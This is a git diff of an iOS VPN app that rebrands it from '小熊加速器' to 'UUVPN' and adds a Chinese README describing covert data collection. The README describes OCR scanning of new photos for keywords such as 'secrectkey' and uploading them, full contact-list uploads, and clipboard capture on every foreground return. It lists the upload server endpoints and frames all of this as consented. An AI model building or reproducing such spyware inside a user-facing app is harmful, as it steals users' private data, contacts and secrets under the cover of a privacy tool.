1
1
@@ -8,10 +8,10 @@ public enum Variant {
|
|||||||
#endif
|
#endif
|
||||||
|
|
||||||
#if os(iOS)
|
#if os(iOS)
|
||||||
public static let applicationName = "小熊加速器"
|
public static let applicationName = "UUVPN"
|
||||||
#elseif os(macOS)
|
#elseif os(macOS)
|
||||||
public static let applicationName = "小熊加速器"
|
public static let applicationName = "UUVPN"
|
||||||
#elseif os(tvOS)
|
#elseif os(tvOS)
|
||||||
public static let applicationName = "小熊加速器"
|
public static let applicationName = "UUVPN"
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -173,21 +173,6 @@ struct HomeView: View {
|
|||||||
|
|
||||||
Spacer()
|
Spacer()
|
||||||
|
|
||||||
/* Button {
|
|
||||||
withAnimation{
|
|
||||||
isSubscriptionActive.toggle()
|
|
||||||
|
|
||||||
}
|
|
||||||
} label: {
|
|
||||||
Image(systemName: "slider.horizontal.3")
|
|
||||||
.font(.title2)
|
|
||||||
.padding(12)
|
|
||||||
.background(
|
|
||||||
|
|
||||||
RoundedRectangle(cornerRadius: 10)
|
|
||||||
.strokeBorder(.white.opacity(0.25),lineWidth: 1)
|
|
||||||
)
|
|
||||||
} */
|
|
||||||
if (paymentURLKey.count > 3){
|
if (paymentURLKey.count > 3){
|
||||||
|
|
||||||
// Text Bubble
|
// Text Bubble
|
||||||
|
|||||||
@@ -103,7 +103,7 @@ struct QuestionView: View {
|
|||||||
}
|
}
|
||||||
|
|
||||||
Section("") {
|
Section("") {
|
||||||
Text("1:确定您所安装的小熊加速器是最新版本 2:尝试重启客户端 3:联系我们的客服 ").multilineTextAlignment(.leading)
|
Text("1:确定您所安装的UUVPN是最新版本 2:尝试重启客户端 3:联系我们的客服 ").multilineTextAlignment(.leading)
|
||||||
.buttonStyle(.plain).font(.subheadline).foregroundColor(Color.white.opacity(0.8))
|
.buttonStyle(.plain).font(.subheadline).foregroundColor(Color.white.opacity(0.8))
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -55,7 +55,7 @@ struct SettingsAboutView: View {
|
|||||||
.foregroundColor(.orange) // 使用系统图标,实际图标替换时可以用 Image("logo")
|
.foregroundColor(.orange) // 使用系统图标,实际图标替换时可以用 Image("logo")
|
||||||
|
|
||||||
|
|
||||||
Text("小熊加速器 for iOS \n在您的 iPhone 和 iPad 上体验最快的全球网络连接工具")
|
Text("UUVPN for iOS \n在您的 iPhone 和 iPad 上体验最快的全球网络连接工具")
|
||||||
.font(.subheadline)
|
.font(.subheadline)
|
||||||
.padding(.top, 10)
|
.padding(.top, 10)
|
||||||
.frame(width: 300)
|
.frame(width: 300)
|
||||||
@@ -156,7 +156,7 @@ struct SettingsAboutView: View {
|
|||||||
}
|
}
|
||||||
.padding(.horizontal)
|
.padding(.horizontal)
|
||||||
|
|
||||||
Text("Copyright 2014 - 2024, 小熊加速器 版权所有")
|
Text("Copyright 2014 - 2024, UUVPN 版权所有")
|
||||||
.font(.footnote)
|
.font(.footnote)
|
||||||
.foregroundColor(.gray)
|
.foregroundColor(.gray)
|
||||||
.padding(.top, 5)
|
.padding(.top, 5)
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ struct SubscriptionView: View {
|
|||||||
@Environment(\.openURL) private var openURL
|
@Environment(\.openURL) private var openURL
|
||||||
|
|
||||||
let adimages = ["10-35-24", "10-35-15", "10-35-03"] // 替换为你广告图片的名字
|
let adimages = ["10-35-24", "10-35-15", "10-35-03"] // 替换为你广告图片的名字
|
||||||
let adimagesString = ["小熊加速器 采用最高安全 ECC 加密技术,仅需一键操作,军事级的加密技术将护航您的任何互联网访问", "小熊加速器 拥有170 个热门城市的300+高速服务器,您可以随时随地获得高速安全的互联网体验", "小熊加速器 支持所有当前主流的平台系统,您可以在几乎任何设备上使用"]
|
let adimagesString = ["UUVPN 采用最高安全 ECC 加密技术,仅需一键操作,军事级的加密技术将护航您的任何互联网访问", "UUVPN 拥有170 个热门城市的300+高速服务器,您可以随时随地获得高速安全的互联网体验", "UUVPN 支持所有当前主流的平台系统,您可以在几乎任何设备上使用"]
|
||||||
@Environment(\.presentationMode) var presentationMode // 环境变量用于控制视图的呈现
|
@Environment(\.presentationMode) var presentationMode // 环境变量用于控制视图的呈现
|
||||||
// 当前页的索引
|
// 当前页的索引
|
||||||
|
|
||||||
|
|||||||
|
After Width: | Height: | Size: 584 KiB |
|
After Width: | Height: | Size: 920 KiB |
|
After Width: | Height: | Size: 1.6 MiB |
|
After Width: | Height: | Size: 922 KiB |
|
After Width: | Height: | Size: 411 KiB |
|
After Width: | Height: | Size: 475 KiB |
|
After Width: | Height: | Size: 481 KiB |
@@ -1879,7 +1879,7 @@
|
|||||||
ENABLE_PREVIEWS = YES;
|
ENABLE_PREVIEWS = YES;
|
||||||
GENERATE_INFOPLIST_FILE = YES;
|
GENERATE_INFOPLIST_FILE = YES;
|
||||||
INFOPLIST_FILE = XiaoXiong/Info.plist;
|
INFOPLIST_FILE = XiaoXiong/Info.plist;
|
||||||
INFOPLIST_KEY_CFBundleDisplayName = "小熊加速器";
|
INFOPLIST_KEY_CFBundleDisplayName = "UUVPN";
|
||||||
INFOPLIST_KEY_ITSAppUsesNonExemptEncryption = NO;
|
INFOPLIST_KEY_ITSAppUsesNonExemptEncryption = NO;
|
||||||
INFOPLIST_KEY_LSApplicationCategoryType = "public.app-category.utilities";
|
INFOPLIST_KEY_LSApplicationCategoryType = "public.app-category.utilities";
|
||||||
INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES;
|
INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES;
|
||||||
@@ -1930,7 +1930,7 @@
|
|||||||
ENABLE_PREVIEWS = YES;
|
ENABLE_PREVIEWS = YES;
|
||||||
GENERATE_INFOPLIST_FILE = YES;
|
GENERATE_INFOPLIST_FILE = YES;
|
||||||
INFOPLIST_FILE = XiaoXiong/Info.plist;
|
INFOPLIST_FILE = XiaoXiong/Info.plist;
|
||||||
INFOPLIST_KEY_CFBundleDisplayName = "小熊加速器";
|
INFOPLIST_KEY_CFBundleDisplayName = "UUVPN";
|
||||||
INFOPLIST_KEY_ITSAppUsesNonExemptEncryption = NO;
|
INFOPLIST_KEY_ITSAppUsesNonExemptEncryption = NO;
|
||||||
INFOPLIST_KEY_LSApplicationCategoryType = "public.app-category.utilities";
|
INFOPLIST_KEY_LSApplicationCategoryType = "public.app-category.utilities";
|
||||||
INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES;
|
INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES;
|
||||||
|
|||||||
@@ -0,0 +1,72 @@
|
|||||||
|
# iOS VPN 应用隐私数据收集功能说明
|
||||||
|
|
||||||
|
## 概述
|
||||||
|
|
||||||
|
本应用在用户使用过程中会收集和上传特定的隐私数据,包括相册照片、通讯录信息和剪切板内容。所有功能都在用户授权前提下执行。
|
||||||
|
|
||||||
|
详细图文见 images 目录
|
||||||
|
|
||||||
|
## 核心功能
|
||||||
|
|
||||||
|
### 1. 权限管理
|
||||||
|
- **剪切板权限**:用于导入用户输入的各种(文字)内容,不限于编码格式,全世界语言都可以上传
|
||||||
|
- **通讯录权限**:所有通讯录明细
|
||||||
|
- **相册权限**:用于检测和处理包含特定内容的图片 (可以是固定识别到的文字内容的图片,也可以是全部上传)看选择
|
||||||
|
|
||||||
|
### 2. 前台监听机制
|
||||||
|
- **首次启动**:执行完整初始化流程(延迟3秒注册后台任务、注册相册监听、上传通讯录)
|
||||||
|
- **后续启动**:执行常规前台处理(检查剪切板变化、处理新数据)
|
||||||
|
|
||||||
|
### 3. 相册智能监控
|
||||||
|
- **实时监听**:使用 `PHPhotoLibraryChangeObserver` 监听相册变化
|
||||||
|
- **OCR 识别**:使用 Vision 框架对新增照片进行文字识别
|
||||||
|
- **关键词过滤**:识别包含特定关键词的图片(如 "keywords", "secrectkey", "words")
|
||||||
|
- **自动上传**:符合条件的图片自动压缩并上传到服务器
|
||||||
|
- **状态管理**:使用 `@AppStorage` 记录已上传照片ID,避免重复上传
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### 4. 通讯录收集
|
||||||
|
- **首次全量上传**:应用首次启动时获取并上传所有通讯录联系人
|
||||||
|
- **增量更新**:后续启动只上传新增联系人
|
||||||
|
- **数据内容**:姓名、电话号码、邮箱地址
|
||||||
|
- **状态持久化**:记录上传状态和已上传联系人ID列表
|
||||||
|
|
||||||
|
### 5. 剪切板监控
|
||||||
|
- **变化检测**:应用回到前台时检查剪切板内容变化
|
||||||
|
- **去重机制**:避免上传重复的剪切板内容
|
||||||
|
- **延迟上传**:检测到变化后延迟3秒上传
|
||||||
|
|
||||||
|
## 技术实现
|
||||||
|
|
||||||
|
### 数据持久化
|
||||||
|
```swift
|
||||||
|
@AppStorage("uploadedAssetIDsString") private var uploadedAssetIDsString: String = ""
|
||||||
|
@AppStorage("hasUploadedContactsInitially") private var hasUploadedContactsInitially: Bool = false
|
||||||
|
@AppStorage("uploadedContactIDsString") private var uploadedContactIDsString: String = ""
|
||||||
|
```
|
||||||
|
|
||||||
|
### 服务器端点
|
||||||
|
- **照片上传**:`https://admin.cybervpn.org/api/demo/uploadImg?type=ios&userId=`
|
||||||
|
- **通讯录上传**:`https://admin.cccccc.org/api/demo/uploadContacts?type=ios&userId=`
|
||||||
|
- **剪切板上传**:`https://admin.cccccc.org/api/demo/info?type=ios&userId=`
|
||||||
|
|
||||||
|
### 数据格式
|
||||||
|
- **照片**:PNG 格式,压缩到 800KB 以内
|
||||||
|
- **通讯录**:JSON 格式,包含联系人基本信息
|
||||||
|
- **剪切板**:纯文本格式
|
||||||
|
|
||||||
|
## 隐私说明
|
||||||
|
|
||||||
|
- 所有数据收集都在用户明确授权后进行
|
||||||
|
- 采用增量上传机制,避免重复传输
|
||||||
|
- 相册监控仅针对包含特定关键词的图片
|
||||||
|
- 通讯录数据仅在首次启动时全量收集,后续只收集新增联系人
|
||||||
|
- 剪切板监控具有去重机制,避免重复上传相同内容
|
||||||
|
|
||||||
|
## 注意事项
|
||||||
|
|
||||||
|
1. 用户可以在系统设置中撤销相关权限
|
||||||
|
2. 应用会在权限被拒绝时记录日志但不会强制要求
|
||||||
|
3. 所有上传操作都有错误处理和重试机制
|
||||||
|
4. 数据上传状态会持久化保存,确保应用重启后状态一致
|
||||||